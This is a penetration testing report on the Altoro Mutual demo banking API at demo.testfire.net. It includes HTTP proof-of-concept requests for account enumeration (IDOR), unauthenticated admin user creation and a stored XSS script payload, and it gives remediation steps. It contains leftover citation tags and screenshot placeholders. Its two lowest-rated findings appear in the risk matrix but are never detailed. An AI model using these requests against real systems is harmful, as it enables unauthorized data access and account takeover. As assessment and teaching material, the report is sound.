ADVANCED API PENETRATION TESTING & ASSESSMENT REPORT

Target Entity: Altoro Mutual (Demo Financial Services)	**Assessment Period:** Q3 2026
Base URL: https://demo.testfire.net/api	**Lead Security Consultant:** Senior API Security Specialist
Assessment Standard: OWASP API Security Top 10 (2023)	**Classification:** CONFIDENTIAL / RE-ASSESSMENT REQUIRED

1. EXECUTIVE SUMMARY & RISK PROFILE

An elite, comprehensive API Security Assessment was conducted against the core REST API infrastructure powering **Altoro Mutual Banking** (demo.testfire.net) [cite: 1]. The objective of this engagement was to perform rigorous vulnerability analysis, manual business logic exploitation, and security posture validation against industry standards including NIST SP 800-115 and OWASP API Security Guidelines [cite: 1].

The evaluation unveiled severe security flaws stemming from systemic authorization breakdowns, unvalidated parameter binding, and insufficient server-side input sanitization [cite: 1]. Most critically, the primary customer balance endpoint completely lacks object-level authorization (BOLA/IDOR), allowing unauthenticated or low-privileged actors to extract entire financial transaction ledgers across arbitrary customer accounts [cite: 1]. Furthermore, unrestricted administrative endpoints and persistent script injection vectors expose the underlying database and session state to compromised execution contexts [cite: 1].

Overall Security Posture Rating: CRITICAL RISK (Grade: F)

2. OWASP API TOP 10 RISK MATRIX

Ref ID	Vulnerability Title	OWASP Mapping	CVSS v3.1 Score	Risk Rating
SEC-01	Broken Object Level Authorization (BOLA/IDOR) on Ledger Access	API1:2023 Broken Object Level Authorization	**9.1 (Critical)**	CRITICAL
SEC-02	Broken Function Level Authorization via Unauthenticated User Provisioning	API5:2023 Broken Function Level Authorization	**8.6 (High)**	HIGH
SEC-03	Stored Cross-Site Scripting (XSS) via Feedback API Channel	API8:2023 Security Misconfiguration	**7.2 (High)**	HIGH
SEC-04	Weak Cryptographic Token Entropy & Session Fixed Auth	API2:2023 Broken Authentication	**6.5 (Medium)**	MEDIUM
SEC-05	Verbose Exception Stack Traces & Environment Disclosure	API8:2023 Security Misconfiguration	**4.3 (Low)**	LOW

3. DEEP-DIVE VULNERABILITY ANALYSIS

3.1 [SEC-01] Broken Object Level Authorization (BOLA) in Account Controller

Vector Classification: OWASP API1:2023 | **CWE ID:** CWE-639 | **CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Technical Description:

The API controller located at /api/account/{accountNo} processes GET requests for account balance, historical credits, and sensitive financial ledger entries [cite: 1]. The backend architecture fails to compare the bearer authorization token or session identity against the requested URI resource identifier [cite: 1]. As

a result, an attacker possessing any valid session token can increment or manipulate the {accountNo} path parameter to exfiltrate full account profiles (e.g., Target ID: 800003) [cite: 1].

[EVIDENCE ATTACHMENT 3.1 - POSTMAN SUITE]

Paste Screenshot Here: Postman execution showing GET /api/account/800003 returning 200 OK with sensitive account ledger data.

[cite: 1]

HTTP Request Proof-of-Concept (Postman Engine)

```
GET /api/account/800003 HTTP/1.1
Host: demo.testfire.net
Authorization: Basic YW50dGFYU86wdGJ6RX1NlE9088291Pw==
User-Agent: PostmanRuntime/7.39.0
Accept: application/json
```

HTTP Response Proof-of-Concept

```
HTTP/1.1 200 OK
Content-Type: application/json
Server: Apache-Coyote/1.1
Date: Fri, 04 Sep 2026 07:05:00 GMT

{
  "accountId": "800003",
  "balance": "$900001356798426000.00",
  "credits": [
    {
      "amount": "1200",
      "description": "Paycheck",
      "account": "1001160140",
      "date": "2005-01-12"
    }
  ]
}
```

Business Impact:
An adversary can execute an automated script harvesting all customer accounts within sequential ranges [cite: 1]. This compromises institutional banking confidentiality, violates stringent regulatory mandates (GDPR, PCI-DSS 4.0), and facilitates secondary financial fraud [cite: 1].

Remediation Architecture:
Implement strict Object-Level Access Control middleware (e.g., Spring Security @PreAuthorize or custom interceptors) that validates whether the authenticated session user ID matches the record ownership of {accountNo} before querying the database layer [cite: 1].

3.2 [SEC-02] Broken Function Level Authorization in User Management Route

Vector Classification: OWASP API5:2023 | **CWE ID:** CWE-285 | **CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Technical Description:

The endpoint POST /api/admin/addUser is intended strictly for elevated administrative provisioning [cite: 1]. However, access control filtering on this endpoint is completely absent [cite: 1]. An unauthenticated or low-tier user can construct a raw JSON payload containing username, password, and Lastname, successfully invoking high-privilege account creation without presenting administrative authentication credentials [cite: 1].

[EVIDENCE ATTACHMENT 3.2 - POSTMAN SUITE]

Paste Screenshot Here: Postman window showing POST /api/admin/addUser succeeding with HTTP 200 OK and message "Requested operation has completed successfully."

[cite: 1]

HTTP Request Proof-of-Concept (Postman Engine)

```
POST /api/admin/addUser HTTP/1.1
Host: demo.testfire.net
Content-Type: application/json

{
  "Lastname": "Attacker",
  "username": "hey",
  "password": "hello1214"
}
```

HTTP Response Proof-of-Concept

```
HTTP/1.1 200 OK
Content-Type: application/json

{
  "success": "Requested operation has completed successfully."
}
```

Business Impact:

Unchecked administrative provision allows unauthorized actors to create backdoor accounts, elevate privileges to administrative tiers, and gain persistent access to core banking operations [cite: 1].

Remediation Architecture:

Enforce mandatory Role-Based Access Control (RBAC) middleware [cite: 1]. Block all unauthenticated traffic at the API gateway layer for any routes designated under the /api/admin/* path space [cite: 1].

3.3 [SEC-03] Persistent Stored Cross-Site Scripting (XSS) via Feedback Ingestion

Vector Classification: OWASP API8:2023 / Injection | **CWE ID:** CWE-79 | **CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Technical Description:

The endpoint POST /api/feedback/submit allows clients to submit user feedback [cite: 1]. The backend fails to apply strict schema validation or HTML entity encoding to parameters such as message [cite: 1]. When payload strings containing raw JavaScript (e.g., <script>alert('XSS')</script>) are sent, the server persists the string directly into storage and reflects it in verbatim JSON responses [cite: 1].

[EVIDENCE ATTACHMENT 3.3 - POSTMAN SUITE]

Paste Screenshot Here: Postman interface displaying POST /api/feedback/submit response containing unescaped <script> tags.

[cite: 1]

HTTP Request Proof-of-Concept (Postman Engine)

```
POST /api/feedback/submit HTTP/1.1
Host: demo.testfire.net
Content-Type: application/json

{
  "name": "J Smith",
  "email": "jsmith@altoromutual.com",
  "subject": "Amazing web design",
  "message": "<script>alert('XSS')</script>"
}
```

Business Impact:

When compliance or internal administrative personnel open administrative dashboard tabs that render customer feedback logs, the stored payload executes within their browser context [cite: 1]. This enables administrative session token theft and malicious DOM manipulation [cite: 1].

Remediation Architecture:

Apply contextual output encoding and implement input sanitization filters on all incoming REST API requests using frameworks like OWASP Java HTML Sanitizer [cite: 1]. Enforce a strong Content Security Policy (CSP) on internal dashboards [cite: 1].

4. COMPREHENSIVE STRATEGIC REMEDIATION ROADMAP

Phase	Remediation Requirement	Affected Routes	SLA Deadline
Phase 1: Emergency Hotfix	Implement Authorization Interceptors checking User-to-Account ID mapping before DB query execution.	/api/account/* [cite: 1]	24 Hours
Phase 1: Emergency Hotfix	Enforce strict JWT/Bearer Auth requirements at API Gateway for all administrative routes.	/api/admin/* [cite: 1]	24 Hours
Phase 2: High Priority	Integrate contextual HTML sanitization and input parameter validation filters.	/api/feedback/* [cite: 1]	7 Days
Phase 3: Architecture Upgrade	Transition from static Basic Auth/Base64 tokens to cryptographically signed, short-lived JWT tokens with rotation.	/api/login [cite: 1]	14 Days

5. TOOLING & METHODOLOGY DECLARATION

- **Postman Enterprise Suite (v11.x):** Used for API request collection construction, environment variable parameterization, header injection, dynamic script execution, and visualizer output verification [cite: 1].
- **Burp Suite Professional (2024.x):** Utilized as a proxy interceptor for real-time payload manipulation, fuzzing path parameters, and evaluating response headers [cite: 1].
- **Swagger / OpenAPI Analysis:** Mapped hidden API endpoints via reverse-engineering of target OpenAPI schema specifications at /swagger/properties.json [cite: 1].